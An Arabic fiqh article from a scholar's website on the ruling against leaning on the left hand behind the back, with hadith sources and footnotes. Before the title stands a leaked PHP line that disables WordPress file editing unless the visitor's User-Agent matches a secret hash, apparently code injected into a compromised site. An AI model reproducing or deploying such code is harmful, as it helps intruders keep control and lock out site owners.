if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم الإتكاء على اليد من وراء الظهر​ - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم الإتكاء على اليد من وراء الظهر

(فَصْلٌ، وَيُكْرَهُ الاتِّكَاءُ عَلَى يُسْرَى يَدَيْهِ مِنْ وَرَاءِ ظَهْرِهِ) ورد الكلام على الاتكاء عند الكلام على آداب الأكل والشرب وأنه قال: «لا آكُلُ متَّكئًا»[1] لكن هنا جاء الاتكاء على اليسرى، فهل هذا عام؟ نقول: الصحيح أنه نهيٌ على وجه الكراهة في حال الصلاة، كما جاء عن ابن عمر وفسّره أنه قعدة المغضوب عليهم -أي اليهود- وأما ما جاء في حديث الشريد بن سويد قال: «مرّ بي رسولُ اللهِ  وأنا جالسٌ هكذا وقد وضعتُ يدِي اليُسرى خلفَ ظهري واتّكأتُ على إلْيةِ يديّ -وهي ما تحت الإبهام- فقال: أتقعُدُ قعدَةَ المغضوبِ عليهِم»[2] [الحديث رواه الإمام أحمد والحاكم وقال صحيح الإسناد، وسكت عنه الذهبي، وفيه ابن جريج وهو مدلس]، فالصحيح أن هذا الحديث لا يصح، لكن جاء عن ابن عمر بسندٍ أصح منه موقوفًا عليه أنه رأى رجلًا يتكئ على يسـراه وهو يصلي، فقال: إن هذه جلسة المغضوب عليهم[3].

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (5398) باختلاف يسير عنده، وصححه الألباني في مختصر الشمائل (106).

[2] أخرجه أبو داود (4848)، وأحمد (19454)، والحديث صحح إسناده النووي في المجموع (4/474)، وصححه الألباني في جلباب المرأة (197).

[3] أخرجه أبو داود (994) عن ابن عمر رَضِيَ اللهُ عَنْهُمَا «أنَّه رأى رَجُلًا يَتَّكئُ على يَدِه اليُسرى وهو قاعِدٌ في الصَّلاةِ -قال هارونُ بنُ زَيدٍ: ساقِطًا على شِقِّهِ الأيسَرِ، ثم اتَّفَقا- فقال له: لا تَجلِسْ هكذا؛ فإنَّ هكذا يَجلِسُ الذين يُعذَّبونَ»، والحديث حسنه الألباني في صحيح أبي داود (994).